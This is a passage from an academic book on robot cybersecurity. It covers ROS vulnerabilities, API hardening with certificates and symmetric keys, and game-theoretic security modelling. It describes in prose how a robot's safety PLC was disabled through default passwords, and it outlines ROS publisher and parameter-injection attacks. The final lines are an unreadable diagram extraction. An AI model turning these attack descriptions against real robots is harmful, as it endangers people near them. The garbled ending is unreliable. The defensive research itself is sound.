arXiv:2103.05789v1 [cs.

RO] 9 Mar 2021

Cybersecurity in Robotics: Challenges, Quantitative

Modeling, and Practice

Quanyan Zhu1 , Stefan Rass2 , Bernhard Dieber3 , Vı́ctor Mayoral Vilches4

March 11, 2021

1
Q. Zhu is with New York University, USA; E-mail: [email protected]
2
S. Rass is with Universität Klagenfurt, Austria; E-mail: [email protected]
3
B. Dieber is with Joanneum Research, Austria; E-mail: [email protected]
4
V. Mayoral Vilches is with Alias Robotics, Spain and Universität Klagenfurt, Austria; E-mail: vic-
[email protected]
 Abstract

Robotics is becoming more and more ubiquitous, but the pressure to bring systems to market
occasionally goes at the cost of neglecting security mechanisms during the development, deployment
or while in production. As a result, contemporary robotic systems are vulnerable to diverse attack
patterns, and an a posteriori hardening is at least challenging, if not impossible at all. This book
aims to stipulate the inclusion of security in robotics from the earliest design phases onward and
with a special focus on the cost-benefit tradeoff that can otherwise be an inhibitor for the fast
development of affordable systems. We advocate quantitative methods of security management
and -design, covering vulnerability scoring systems tailored to robotic systems, and accounting
for the highly distributed nature of robots as an interplay of potentially very many components.
A powerful quantitative approach to model-based security is offered by game theory, providing a
rich spectrum of techniques to optimize security against various kinds of attacks. Such a multi-
perspective view on security is necessary to address the heterogeneity and complexity of robotic
systems. This book is intended as an accessible starter for the theoretician and practitioner working
in the field.
Chapter 1

Introduction to Robot Security

Robotic technology has been around for many years now with its main application being in automa-
tion where millions of robots have been deployed over the past decades. In recent years, inflexible
automation is starting to shift out of focus of the robotics research and we move towards using
robots in flexible manufacturing (marching towards lot size 1) and intralogistics. Service robots
are set out to pervade also non-industrial areas like healthcare as well as public and private spaces.
The gain in flexibility and capabilities of modern robots has been largely fuelled by the convergence
of classical computing and networking technology with robotics. The new generation of robots can-
not perform their tasks without being connected to the outside world. Flexible manufacturing and
intralogistics robots need to be connected to manufacturing execution systems and fleet manage-
ment services. Service robots are supposed to provide more value by being connected to the cloud
to retrieve commands and updates. While the new capabilities make the areas of application for
robots broader, they also become susceptible to external manipulation. This new threat from the
cyber world has not yet been sufficiently addressed up to now.
In this book, we review the causes of robot insecurity also reflecting the underlying causes
like complexity and market pressure. We present the vulnerabilities and potential fixes of the
most important software framework in robotics. Then, we describe modern approaches to securing
robots including processes and standards but most importantly also present the potential benefits
promised by the introduction of quantitative security methods.

1.1 The Need for Cybersecurity in Robotics

A robot is in general a complex machine which is by itself difficult to design, build and program.
The main focus when building a robot is in making it reliable and safe. Security is often of a lower
priority since it adds even more complexity to building the robot. In addition, cybersecurity has
traditionally not been a concern when designing or using robots since classical industrial applica-
tions of robots did not require any connectivity to the outside. With the current trend towards
connected robots, however, a technology that is not fit for this trend meets all the threats that
come with connecting robots. Generally speaking, today’s robots are easy prey even for less skilled

1
attackers since security achievements that have been successfully used in the IT area in the past
three decades like firewalls, hardened endpoints, or encrypted communication are typically not part
of a robotic system. In addition, a security-oriented mindset is also hardly taught in the education
of roboticists.

1.1.1 What are special requirements for cybersecurity in robotics?

In general, cybersecurity for robotics draws from the methods of IT-security. However, there are
specialties in robotics, that need additional consideration [69]. First and most obviously, robots
are cyber-physical systems and as such, they have a representation in the physical world. This
yields two security-relevant aspects. First, robots can be physically manipulated. Too often, we
find exposed network- or USB-ports in robots that can easily be exploited by an attacker. This
is especially problematic with mobile robots that move autonomously in little-controlled areas.
Second, robots can have significant impacts on the physical safety of persons around them. In
general, the regulations for robot safety are very strict to prevent any human harm by a robot.
However, much of the required safety functions can be attacked remotely thus, effectively rendering
the safety methods useless. Despite this, safety regulations do not (yet) require security measures
to be put into place. Section 1.1.1 shows a PoC attack that demonstrates the seriousness of this
issue.
Robots that are used in automation are also aimed at high availability. This means that they
should preferably non-stop. Thus, as it is common in OT, industrial robots are not commonly
supplied with regular updates that could fix vulnerabilities.

A PoC to remotely disable a robot’s safety subsystem

A practical attack on a robot’s safety subsystem has been presented in [126]. The target of the
PoC was a mobile robot for transport tasks in the industry. The safety system of the robot is
responsible to stop the platform before it hits an obstacle. This is realized using safety-rated laser
scanners that are connected to a safety PLC that cuts the power to the motors in case an object is
too close to the robot. Figure 1.1 shows a logical overview of the aforementioned components and
their interconnections.
Due to several misconfigurations and negligence of standard security procedures (like changing
default passwords), it is possible to retrieve, manipulate and re-upload the safety program logic
running on the dedicated safety PLC in the robot. The robot itself hosts a WiFi hotspot that uses a
default password. Access to the WiFi also provides access to all connected devices since no network
separation policy is in place. Thus, an attacker could easily gain access to the robot’s internal
network. The safety PLC is connected to the robot’s internal network. During its integration,
the default password required to upload a program to the PLC was not changed. The attacker
can access the PLC via WiFi and download the program stored on it. After a simple change that
renders the laser scanners’ inputs useless, the program can be re-uploaded. From this point on, the
robot will still detect obstacles but it will not stop for them. Since those robots can carry up to

2
 Figure 1.1: A logical overview of the internals of a MiR-100 robot (from [126])

250kg, they pose significant health risks when they collide with a person. Note, that in course of
the modifications, not only the safety laser scanners but also the emergency stop can be rendered
useless.
The vulnerability described has been acknowledged by the robot manufacturer and was fixed
in the meantime. Still, it shows how easily robots can be attacked and that establishing security
practices in robotics is highly necessary.

1.2 Overview of Security Challenges and Solutions

Robotic security adds a dimension of physical interaction to the requirements of general informa-
tion security. Contrary to classical protection of data from theft, manipulation, etc., a physical
consequence of a data breach is usually not in the center of attention there, but not so for robotics.
The intended close contact, up to collaboration, with humans, adds its own set of security require-
ments beyond the classical CIA+ (confidentiality, integrity, availability, and authenticity), and also
induces ethical challenges. Those get more involved by the fact that robot systems are often het-
erogeneous, making the assignment and taking of responsibilities difficult in light of many actors
being involved.
This book is focused on the technical possibilities of implementing security, reaching up to
industrial standards, and best practices to follow when building a secure robot. Chapter 2 sets
the ground by reviewing the ROS as a popular (de facto standard) platform to run robot sys-
tems, thereby pointing out some threats and countermeasures that can be addressed “classically”
(i.e., using standard security mechanisms). The distributed nature of robotics, however, calls for a
broader view extended to cover the interaction of possibly many components, which has its chal-
lenges. Among them are the necessary division of views (dividing data layers vs. computational
graphs, etc.) and the treatment of multi-agent systems as groups in which possibly many players

3
 Practice

Security

Challenges

Modeling

Robotics

Figure 1.2: This book investigates challenges, quantitative modeling and the practice of cyberse-
curity issues in robotic systems.

can become hostile or otherwise deviate from the intended orchestration. We discuss security along
these lines in Chapter 3. Experience with vulnerabilities and successful attack reports have led to
the development of various tools and methods to help designers of a robot system with testing and
general security management, and Chapter 4 is devoted to an introduction and overview of these
practices. Conditional on an understanding of the overall diversity and interdependency in robot
systems, partially gained with help of tools, but also proper design processes (e.g., DevSecOps),
one can proceed further by defining mathematical models to quantify and thereby optimize security
systematically, as an account for the tradeoff between investment, time to market pressure, and
the security achievable under budget and time limitations. This model-based economic approach
to security, see Figure 1.2, including the technical and organizational practices relative to security
cost-benefits, is what game-theoretic techniques can help with.
Chapter 5 provides a primer to game theory, starting with an introduction by the example of a
game describing a penetrating adversary versus a defending security officer, to illustrate the overall
idea of how mathematical games are applicable to security. From this, we take a deeper dive into
the variety of game-theoretic models designed for security, and how to combine them into bigger
models of robot systems. The diversity and heterogeneity of a robot system are thereby matched
with the (equal) diversity of game-theoretic security models tailored to many different scenarios of
attack and defense. Chapter 5 is meant as a starting point here.
We remark that this book does not intend to cover non-technical matters like ethics or the
generalities of development processes, staff recruiting and human resources security, or legal issues
like liabilities or insurance. Without doubting their relevance for robot security, their discussion

4
and treatment are out of our scope here. A survey of all known threats is not the focus of this book.
We refer the reader to the lot of existing work in this direction, partly coming from other domains
(as provided by [41], [121] and others) but also related explicitly to robotics, such as the work
of [63] and the [84]. Since robots are special cases of general distributed cyber-physical systems,
threat taxonomies from this larger area apply well for robotics too. Furthermore, risk management
standards like ISO31000 or IEC-62443, discussed in Section 4.4, provide threat categorizations and
ways to systematically identify, classify, and address cyber-security along all virtual and physical
aspects. We thus refrain from deep dives into taxonomies here, for the sake of discussing a useful
practical tool being the classification of threats along with a common set of attributes to rank
threats and vulnerabilities in terms of severity, efforts to fix, and other security management related
aspects. We pay explicit attention to such methods, specifically the RVSS [68] as an extension to
the popular CVSS, later in Section 4.2.

1.3 Need for Quantitative Methods

A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to
act on it and computation to process it all and respond coherently to its application [130]. We can
divide robotic systems into two layers, as illustrated in Fig. 1.3. One is the OT layer which consists
of devices and components that directly monitor and control the mechatronic processes and events,
such as autonomous vehicles, robotic arms, and humanoids. The other one is the IT layer which
consists of information and communication devices that collect, communicate, and process data,
such as computer networks, cloud computing, and servers. Many robotic system designs often view
safety as one of the major OT-level system criteria. The design for safety is an integral part of the
systematic methodologies in the design process. On the contrary, cybersecurity at the IT-level is
not yet a key factor considered in the design of robotic systems. When security issues arise, add-on
solutions such as patching and firewalls are introduced to harden the system security. However,
these solutions can be easily evaded by a sophisticated attacker as we have seen in recent APT.
An attacker can leverage social engineering, stay stealthy in the system for a prolonged period of
time, and learn the system configurations to acquire credentials and escalate privilege to reach the
asset. The defective IT-security is a potential cyber hazard for OT-safety.
It is essential to see that OT-level safety and IT-level security are intertwined. The ignorance
of IT-security will enable an attacker to take over the control of OT and create human-induced
devastating incidents. Reversely, the goal of IT-security is to provide the necessary support to OT
to provide performance assurance and dependability. It is insufficient to focus merely on OT-level
safety issues and adopt perfunctory solutions to protect the IT from advanced attacks.
Quantitative metrics and frameworks play an essential role in a formal understanding of the IT/
OT interdependencies and the development of risk assessment tools and security solutions. Game
theory is a promising scientific method to address this need. Game theory has a long history since
the 1950s and a rich set of analytical and computational tools that can be used to capture the

5
 Figure 1.3: The integration and interaction between IT and OT in robotics

competitive and strategic behaviors between an attacker and a defender. The solid mathematical
foundation of game theory provides a rigorous framework to analyze and predict the outcome of
the interactions between an attacker and a defender.
Game theory provides a theoretical underpinning for the analysis of this tradeoff between se-
curity and performance under a prescribed set of attack models. A standard normal-form game is
composed of three elements: players, action sets, and utility functions or preferences over action
sets. The action sets can encode the system constraints, while the utility function can capture the
IT and OT performances and their interplay. The interdependencies between the IT and the OT
can be formally described by specifying the preferences over the set of joint IT/OT configurations
and designs.
Not only does the game framework encode the key design features, the equilibrium concept of
games but also provides a predictive outcome of the interactions, where no parties have the incentive
to deviate from their actions unilaterally. The analysis of the equilibrium solution enables the
quantitative risk assessment in a strategically adversarial environment. In addition, the analysis of
equilibrium strategies of the game leads to a new paradigm of security solutions. Instead of aiming
for a perfect security solution, which is either cost-prohibitive or practically impossible, game theory
enables the design of best-effort IT-and- OT-security by taking into account the security objectives
of the systems, the system resource constraints, and the attacker’s capabilities.
Modern extensions of the game-theoretic framework by including uncertainties, epistemic mod-
eling, and learning dynamics enable the creation of sophisticated defense mechanisms such as au-
tonomous and adaptive strategies, moving target defense, and cyber deception. The defense mech-
anisms can go beyond the traditional manual and static configurations to dynamic, data-driven,
and automated operations of defense. In addition, the game models can be sequentially composed
to capture the multi-stage and multi-phase nature of APT. Each game model represents a modu-

6
larized interaction in a subsystem. The composition of multiple games pieces together a holistic
view of the multi-dimensional dynamic interactions in the entire system, which include the ones
between the defender and the attacker, as well as the ones between subsystems. The holistic game
is also called games-in-games, where one game is nested in the other games. This structure enables
the defense to localize the attack behaviors by zooming into a local subsystem and optimize the
system-wide performance by zooming out to view the system holistically.
Chapter 5 will first provide an introduction to game-theoretic methods by an example of an
attack-graph game. The second part of the chapter will present an overview of security games
and their applications. One important class of games that are useful to address sophisticated
attacks is the multi-stage and multi-phase security game. Game models for multiple subsystems at
different phases can be composed together to address the complex security problems holistically.
The chapter presents several case studies to elaborate on game-theoretic methodologies. One case
study presents a cyber-physical signaling game to develop an impact-aware trust mechanism that
can reject high-risk inputs and mitigate the physical damages. The second case study introduces
a jamming game between a jammer and a team of robots that aim to reach consensus through
mutual pursuits and communications. A multi-stage game is formulated to analyze the equilibrium
and develop anti-jamming strategies.

7
Chapter 2

Cyber Issues, Security Architectures

and ROS Vulnerabilities

Many technological advancements of the past decades have now also converged in the field of
robotics. Mainly, the large-scale use of general-purpose computing techniques (hardware, operating
systems, and software) has dramatically sped up the development and increased the flexibility and
potential of robots. This trend counters the approach of robot manufacturers of the past decades
to aim for locked-in, all-in-one solutions comprising the robot, its controller, and the corresponding
programming environment. As now robotics can be approached with methods from general-purpose
computer software development, also the advanced approaches developed therein are starting to
dominate. In modern robotics, one framework dominates the development efforts like no other.

2.1 The Robot Operating System

The ROS [100] is a middleware system that has become the most popular platform for robot de-
velopment. It coordinates multiple, distributed functional units called nodes. Nodes are individual
processes that have their own lifecycle and are orchestrated into an application. The central entity
for coordination and brokerage is the ROS master. This is a dedicated process running on one
of the hosts in the ROS network which has a directory of all nodes and the data they provide or
consume.
At its core, ROS supports the publish-subscribe communication pattern. This pattern can be
used to decouple components from each other and use well-defined interfaces to connect them.
Publish-subscribe in ROS is topic-based i.e., ROS creates a virtual bus for each topic that
subscribers can attach to receive the published information. As an example, a ROS sensor node
that retrieves images from a camera will publish this information on a specific topic. All nodes that
require this data can subscribe to it. For both, the publisher and the subscriber it is transparent
who the respective communication partner is exactly. Thus, it is easy to exchange nodes in a
ROS network as well as it is easy to add new ones or re-purpose existing implementations to new

8
applications. On startup, a publisher node will contact the master and declare which topics it
publishes. Similarly, a subscriber will tell the master which topics it requires. As soon as there is a
publication-subscription match, the master contacts the subscriber with a list of potential publishers
for its topic. The subscriber will then contact the publisher and further communication is done
bilaterally between the two nodes without the inclusion of the ROS master. In this communication,
ROS supports TCP as well as UDP (called henceforth ROSTCP and ROSUDP respectively).
In addition to publish-subscribe, ROS supports client-server-style communication using ser-
vices. A service has a unique name and can synchronously be queried by a client. A service can be
used to e.g., retrieve or set a piece of specific one-time information like a state or a configuration.
The ROS master keeps an index of all registered services which can then be queried by a service
client to lookup connection information for a specific service.
The third, logical, communication pattern in ROS are actions. Actions are used to encapsulate
long-running, preemptable tasks like sending a mobile robot to a certain location in a room. Actions
are realized using five different publish-subscribe topics. The action goal is sent from the action
client to the action server to trigger the action. The action server will provide a state and feedback
to the client while the action is running (e.g., the information that the action is being executed
along with the current location of the mobile base while it is moving). A result topic will inform
the client of the final outcome (e.g., the final position of the robot). A dedicated cancel topic can
be published by the client to terminate the ongoing action. Since actions are wrapped around the
publish-subscribe topic, the aforementioned brokerage process between publisher, subscriber, and
ROS master is also performed for each of the action topics.
Besides its inherently distributed—and thus scaleable—nature, ROS also provides an extensive
and ever-growing package repository of robot drivers, algorithmic packages and tools that greatly
facilitate the development of robot applications.
The main programming languages in the ROS environment are C++ and Python. But since the
ROS communication interfaces are defined independently of any language, there are various other
implementations e.g., for Java, C# , JavaScript, and others. While this results in broader support
for ROS, it also causes the implementations to sometimes diverge from each other (not even C++
and Python versions are identical in functions) and have compatibility issues. This might also be
a factor in the reluctance of the ROS developers to fix the vulnerabilities mentioned in the next
sections. In order to fix those, changes to the communication structure would be required in all
existing implementations causing immense efforts.
As of 2021, according to the official wiki1 , ROS is compatible with around 170 different robots
or robot series (e.g., a whole range of ABB robots is subsumed into one entry) for a wide variety
of purposes including industrial manipulators, mobile, aerial and marine robots.
1
https://robots.ros.org/

9
2.2 Vulnerabilities of the Robot Operating System
As of its initial version, ROS was not designed with security in mind [71]. The underlying publish-
subscribe mechanism is naturally open in both directions, letting all components of a system register
as publishers, or subscribers, or both. The absence of mechanisms to restrict the registration under
any of the two roles creates flexibility when it comes to adding, removing, or replacing components
in a system, but at the same time induces the obvious likewise vulnerability of malicious components
or messages coming in easy.
To see where and how security in ROS looks like, let us adopt the abstract view on ROS being
a communication platform over which three basic classes of entities talk to each other [32]:

• the ROS master, who manages parameters, service registration, and other stuff, as a central
node with essentially a unique (physical) appearance

• ROS talkers, which can be components of diverse nature and physical form, unified by the
common behavior of publishing topic data,

• and ROS listeners, which like the talkers are not bound to a specific physical or logical
appearance, and whose role is the reception of topics on which the talkers publish.

The term node will hereafter comprise components from all three of the above types.
The division of entities as outlined above implies a diverse API, whose division is not according to
the above classes of entities, but rather w.r.t. the kind of action. We distinguish API for the master
from those of slave nodes, comprising publishers and subscribers, and as a third type, the parameter
API, whose purpose is the management of global configuration parameters. The associated server
instance for the parameter API runs along with the ROS master as a centralized service. Having
this central point allows for notifying nodes about changes in parameters by invoking callbacks for
namespaced parameter keys, which nodes may register for.

Master API: The master’s role is to act as a registration authority, perhaps also as an IDM,
but essentially is there to manage parameters and services existing in the system. As such, it offers
at least the following types of calls2 :

• Registration and unregistration of subscribers, publishers, and services

• Directory services (lookups) for nodes and services, which require or return URI of the re-
spective nodes or services, according to [65]

• Queries to retrieve the internal state of the master, to get details of the entire topology of the
ROS system, including all publishers, subscribers, and services, and deep details thereof.
2
http://wiki.ros.org/ROS/Master_API

10
Parameter API: The parameter server is a part of the ROS master. It provides nodes with
pre-defined values for configuration items. This central storage makes it easier to configure and
reconfigure a ROS system. As expected, the functions provided herein are3

• setters and getters for parameters,

• but also the possibility to delete parameters,

• queries about existence (has), search for (search), or listing (list) the currently known
parameters,

• and finally (and most importantly for attackers), the ability to be notified upon parameter
changes. That is, a node can call subscribe to provide a callback routine (inside the node)
that the parameter server will call upon every change of the parameter value. Of course,
calling unsubscribe terminates these notifications.

The Slave API Both, publishers and subscribers, maintain this API4 for receiving callbacks
from the master, negotiating connections with other nodes, and do system calls for orchestration
and monitoring. In detail, the API provides the following:

• update callbacks to notify subscribers about activities by publishers, or changes of parameters

• request calls for topic transport information. Since the update callback is merely a notifi-
cation, it remains the subscriber’s duty to actively contact the publisher for details on the
topic, establish a connection over ROSTCP or ROSUDP, and open a separate channel and
socket for the data transmission.

• getters for various purposes, mostly related to troubleshooting and status queries (like sub-
scriptions, publications, URI, etc.)

• shutdown, as a signal for a node to self-terminate. This signal may be required by the master
to resolve namespace conflicts or to replace malfunctioning nodes with others or new ones.
This latter purpose of “self-healing”, however, requires an explicit node health monitoring
that ROS does not ship with, so it must be established independently and in addition.

The latter two classes of API calls are particularly useful for hacking ROS, since the getters for
debugging and troubleshooting deliver rich information about the system, and the shutdown signal
has an obvious use if it is not restricted to the master, and no other node.

2.3 Securing the API

The bottom line is that all API calls need security in at least the following aspects:
3
http://wiki.ros.org/ROS/Parameter%20Server%20API
4
http://wiki.ros.org/ROS/Slave_API

11
Integrity: almost self-explanatory, it is necessary for a node when transmitting or receiving data
to safely rely on its correctness. From a cryptographic perspective, we distinguish intended
from unintended modifications, and (cryptographic) checksums can counteract only the latter
case of modification. Thwarting adversarial influence on parameters needs stronger concepts,
but can in many cases be built into an authentication mechanism.

Authenticity: once a connection has been established, it is vital for both parties to assure the
other entity’s identity and, more importantly, its eligibility for the intended purpose of the
connection. For example, if a component registers as a sensor, there is no assurance for a
subscriber that whatever information sent out is really coming from a device that is a sensor,
or not. Plain authenticity is not enough here, since understood as the verification of identity,
the cryptographic assurance that device X published on topic T is in itself no certificate that
X is capable of speaking about T . Such assurance calls for an independent trusted party that
certifies a component as serving the claimed purpose or filling the presumed role, whether this
may be the role of a sensor, an actor, some general device, and – perhaps most importantly
– the ROS master itself.
Standard cryptographic mechanisms can perfectly handle this job since cryptographic certifi-
cates can provide arbitrary assurances about the type, role, rights, or other conditions guards
of an API call. We will postpone this discussion until later, and for now, assume that the
identity of a node has been verified 5 .

Authorization/Access control: not all API calls are admissible for all nodes, and the decision
of whether or not a call is legitimate requires an assured ID. For example, only the master
should be allowed to send a shutdown signal. Likewise, a sensor is typically an entity that
only emits information, but does not process it. As such, its rights should be restricted to
publishing, but not subscribing. Reality is in most instances more complex than the simple
classification of these two examples, but the bottom line is that the construction of a ROS
system should respect separation of duties, and need-to-know principles, whose enforcement
is up to access control mechanisms. Maintaining access control lists, granting and revoking
rights is a separate administrative duty that may be taken over by the ROS master upon
registration of nodes, but can equally well remain a duty of an external (human) system
operator.

Confidentiality: while seemingly an obvious requirement, it may be considered here as the lowest
priority goal, since many signals exchanged between ROS nodes may not classify as sensitive
information, or may self-disclose instantly upon their effect. For example, if the signal is
about a robot arm to move along a certain trajectory or stop in presence of an obstacle, the
physically visible effect will indicate what the (perhaps confidential) signal has been.
5
it is necessary to distinguish the verification of identity from its determination. The latter is the (distinct) notion
of identification, whereas the mere verification of a claimed ID is authentication. Neither implies the other in general.

12
An implementation of such cryptographic protection needs to be done with the two-layer API
structure in mind that ROS has, which instantiates the above requirements individually different
depending on the layer:

• On the control layer for signaling, confidentiality may not be a top priority, since the physical
reaction may reveal the signal anyway. However, authenticity and access control are most
crucial. Otherwise, it may be possible to tamper with the ROS communication graph (e.g.,
isolating publishers or presenting fake publishers to subscribers)

• On the communication layer on which the actual information flows, the priorities of the
above requirements may change accordingly, for example, putting integrity higher up on the
importance list.

Overall, securing the API is generally insufficient, since it can in any case only address the “cyber”-
part of the cyber-physical system that a robot is, and hence is only half of the story. A com-
prehensive security design on the level of orchestrating mechanisms appropriately is required and
postponed until Chapter 3. To illustrate cryptography as a core, yet basic, mechanism, let us con-
tinue our deep dive into this example for the next two sections, exhibiting their efficacy in Section
2.3.3.

2.3.1 Cryptographic Certificates

Certificates are a concept from asymmetric cryptography, and loosely speaking are bindings of keys
to identities, not per se saying how identity is defined or understood. Generically, any combination
of attributes or other characteristics that uniquely distinguish an individual or entity inside a larger
well-defined group can serve as an identity. The important point herein is that the term is always
related to a group, relative to which the identity is one, and the same ID can lose its identifying
property once the group changes by losing or gaining members. Given that ROS is a flexible and
open system, the ROS master appears as the natural candidate point to establish an IDM. Once
identities are defined and available, certificates can be issued. In its plain form, contains at least
the following entries:

• information about the certificate owner’s ID; here a device or component

• one or more cryptographic keys that shall be linked to the identity

• a digital signature from a trusted authority, called a CA, which is verifiable via a widely
known (separate) public key.

To make our notation more rigorous and compact, we will use angled brackets to denote tuples of
information items that are digitally signed under a key added as a subscript. That is, a certificate
would be the above quadruple, singed under the public key pkCA of the CA, and denoted as

howner, key(s)ipkCA (2.1)

13
Continuing the notation, we will write pk to mean public keys, sk to mean private keys, which is
primarily but not exclusively needed for verification of digital signatures here. The terms “pub-
lic” and “private” are hereafter and throughout this article reserved for asymmetric cryptography,
whereas the variable k, coined a secret key, will exclusively be used to mean symmetric crypto-
graphic schemes. We will keep and not change this notation in the whole work in the context of
cryptography, where the user will be unambiguous.
For encryption of a message m under a key k or pk we will use the likewise notation

JmKk , resp. JmKpk

where the k or pk respectively points out the encryption as symmetric (k) or asymmetric (pk). Note
that this notation likewise applies for the symmetric counterpart of a digital certificate, which is a
MAC (see, e.g., [39]). While (2.1) is computed by the signing function of the public key signature
scheme of choice (e.g., DSA [99], RSA [56] or others), the symmetric sibling would be hashing the
(reversible) concatenation of data items under the respective secret key.
Standardized certificates extend the above list by a diverse set of additional information, which
in our case can include arbitrary additional information about the registering component. Returning
to our previous discussion on access control and its preceding authentication, adding security to the
ROSAPI can proceed as follows, presuming a central CA that all parties, here being the vendors
of components, and the administrative parties running the actual ROS system:

1. upon manufacturing, a device receives information about its type (sensor, actor, etc), a unique
ID, and any other information relevant or needed by the system engineers.

2. upon installment of the new component in the ROS system, the first step after physically
connecting the device is registering it with the ROS master. To this end, the ROS master
would perform the following steps:

(a) check the certificate that the device brings in upon registration, to verify that the device
is of an admissible type, and to determine which rights according to the security policy,
the new component should receive. This granting or revocation of rights can be based
on the device type, group that it is assigned to, or role that it should take in the system.
Essentially, the process can resemble the standard approach of RBAC which we do not
describe in deeper detail here.
(b) once the ROS master has compiled a white-list of admissible API calls, it can itself
issue a certificate for the device in which this list is an integral part so that upon every
subsequent API call, the device can show the certificate that it received from the master,
as an authorization token to make this call. This finishes the cryptographic part of the
registration. The certificate would thus contain the following information, wrapped in a
digital signature issued by the master:

hdevice ID, {list of permitted API calls}ipkROS-master (2.2)

14
 The computational cost of public-key cryptography may come in negative here, since the cryp-
tographic validation of certificates each time an API call is made may significantly slow down the
overall system performance. To escape this issue, one can use the first-time contact to establish a
shared secret, and subsequently resort to symmetric methods of authentication by MAC. The over-
all narrative is that the certificate from the vendor is one-time required for the master to validate
the component and determine its rights in the ROS system. Likewise, upon the first API call to
another component would need a cryptographic verification of the caller’s rights as issued/granted
by the ROS master via the caller’s certificate. Once this verification succeeded, the component can
run a secret key exchange (e.g., a Diffie-Hellman protocol or others), with the caller to establish
a shared secret that it jointly stores together with the list of permitted API calls. Let us denote
such a secret shared between components A, B by kA,B . It allows for fast verification of permis-
sion using symmetric encryption only. The scheme is generally an instance of challenge-response
authentication:

1. The caller A picks a random value r and sends its API call api-call, together with r
encrypted under kA,B , i.e., B receives the API call message

Japi-call, hash(api-call)Kka,b

in which hash is a cryptographic hash function. The purpose of it is to make false decryption
recognizable by a mismatch of the checksum that the callee would compute after decrypting
the message. If the api-call is itself subject to some redundancy scheme, say, if there is a
textual representation of the called function or others, then the additional checksum may be
spared; yet it is generally advisable to add such redundancy.

2. A correct decryption of the call is already an implicit authentication of the caller at the same
time since the key under which the call correctly decrypts is uniquely associated with the
caller. Thus, there is a binding of the call to the caller, and on the receiver’s side, the key
is in turn bound to the list of permitted API calls, thus before executing or responding to
the call, the receiver can dig up the list of permitted calls from (2.2) and check if the called
method is among them.

Summarizing the conceptual protection, we have the following sequence:

authentication (identity verification) → authorization (check of rights by the ROS master) →

registration (along which the ROS master issues a certificate to the ROS node as authorization token)

with the first API call proceeding along the sequence:

verify the certificate of the caller → establish a shared secret and store the API permissions → check
permissions and respond to call

and all subsequent (second and later) calls processing along the faster lane:

15
symmetrically decrypt the call under the secret shared with the caller’s ID → load the API permissions
of the caller → check permissions and respond to call.

This presentation is intentionally generic and in a practical implementation needs more details,
such as adding the caller’s and receiver’s identities in the transmissions. An aspect left untouched
so far concerns key and certificate management, which we look into next.

2.3.2 Certificate and Key Management

Managing credentials is human labor to the extent where it concerns certificates, which have an ex-
piration date. Certificates need to be stored in a secured location, to prevent them from adversarial
replacement; a TPM offers a suitable hardware-based solution for this [31]. Other certificates are
in the above process directly computed by the ROS master itself, which is yet best implemented
in the TPM as well, as it requires the storage and secured use of private signature keys.

Registration of Components: it is generally advisable to pursue a whitelisting approach in

the registration checks that the ROS master runs. That is, the ROS master should store (non-
malleably) a list of permitted devices, against which a newly registered component is checked,
and rejected upon not being on the white list. Otherwise, if the device is admissible, the ROS
master can open a TLS session to secure the communication with the new device, using a security
suite with forward secrecy (e.g., ECDHE-ECDSA-AES256-GCM-SHA384, i.e., Diffie-Hellman key
exchange, digital signatures, symmetric encryption by the AES [72] in GCM [25], and with hash
being the SHA algorithm with 384 bit output [38, 39]). The point of forward secrecy herein means
that the keys are short-lived, in the sense that the discovery of a key for one session does not help to
decrypt any follow-up sessions. In other words, the key agreement needs to be repeated from time
to time, leaving the long-term secrets to be only the private signature keys, which no component
other than the ROS master needs to store. Essentially, the public key of the new device is only
used to authenticating the parameters of the key agreement (Diffie-Hellman over elliptic curves
in this example), but not for the encryption of the session key for the registration process (i.e.,
symmetric encryption of messages for this communication). Once the TLS session is established,
the ROS master can replace all pre-installed keys, a.k.a. transport keys, and certificates with
new ones. A malicious manufacturer can, depending on the key exchange mechanism, still record
all messages transmitted during the replacement of the transport keys can thus get hold of the
new keys (and certificates). To prevent this, one needs to run the key replacement protocols in
a closed environment, e.g., under the supervision of the system administrator and other technical
protections.

Unregistering of a Component: the event of unregistering a component is more tricky since if

symmetric encryption is there to replace a certificate-based authentication (for efficiency reasons),
the involved keys are only shared between two nodes A and B, while node B only actively interacts
with the ROS master for the de-registration, but not with node A. To resolve this, we can make

16
use of the API callbacks to get notified about a parameter change. Specifically, once a component
B was registered with the ROS master, the master can maintain a status parameter for this
component, on which a component A that B later makes contact with can place a hook to receive
a callback upon a status change related to B. This callback, in turn, would require A to present
B’s certificate also to the ROS master, as assurance that (i) B has sought contact with A, and
(ii) that A is hence permitted to receive the respective callback. If the status of B changes upon a
de-registration, and A receives the respective call from the ROS master, A can simply remove the
stored secret key kA,B , to effectively blacklist the de-registered device. Similarly, the ROS master
can actively maintain a blacklist of certificate serial numbers, to which the serial number of the
certificate of B is added after the de-registration.

Using Symmetric Cryptography: Public key cryptography has the appeal of relatively simpler
key management, coming with the price-tag of shorter-lived keys and the need to replace certificates
and keys from time to time. This incurs both, an investment of time and money, and as such
could be abandoned in favor of a seemingly simpler alternative of using symmetric cryptographic
primitives. Indeed, it is possible to accomplish authentication, confidential communication and
authorization purely on grounds of symmetric cryptography, such as done in systems like Kerberos
[79], or multipath transmission and -authentication techniques [112, 113, 164]. The latter techniques
also lend themselves to quantification of security with help of game theory [111], and the systematic
optimization of the key management in the network [103]. In light of this research, however, not
having yet grown beyond academic experimental results, we leave this road unexplored hereafter.

2.3.3 How Defenses Work

Let us close this section with a glance at how attacks on ROS use the API, and where the
cryptographic protection would cause a failure of the attack sequence. We borrowed the following
three examples provided by [32], referring to ROS1 (i.e., not to be mixed up with its successor
project ROS 2). Note, that more attack vectors to ROS are known and can be found in the
cited literature. The attacks are action sequences between the ROS master M, a publisher P, a
subscriber S, and the adversary A.

Example 1: Stealth Publisher Attack This attack is about injections of false data into a
running ROS application. The attacker disguises itself as a legitimate publisher and issues a
publisherUpdate to replace the legitimate publishers from the subscribers’ points of view. Figure
2.1 displays the sequence diagram, in which the unprotected call to publisherUpdate is vital to the
issue. With this call under access control and prior authentication, the attacker’s node’s call would
be rejected.

Example 2: Malicious Parameter Update Attack Here, the attacker targets a node N
and unsubscribes on its victim’s behalf to any future parameter updates, aiming at sending those

17
J S a 

S?b2 R S`2T`2 ii+F

;2iavbi2Kaii2- callernid
(R- statusM essage- ( (topic- (P )) (topic- (S)) () ))

HQQFmTLQ/2- callernid- S
(R- statusM essage- sU RI)

HQQFmTLQ/2- callernid- P
(R- statusM essage- pU RI)

S?b2 k _mM ii+F

Tm#HBb?2`lT/i2- ǴfKbi2`Ǵ- topic- (aU RI)
(R-statusM essage- y)

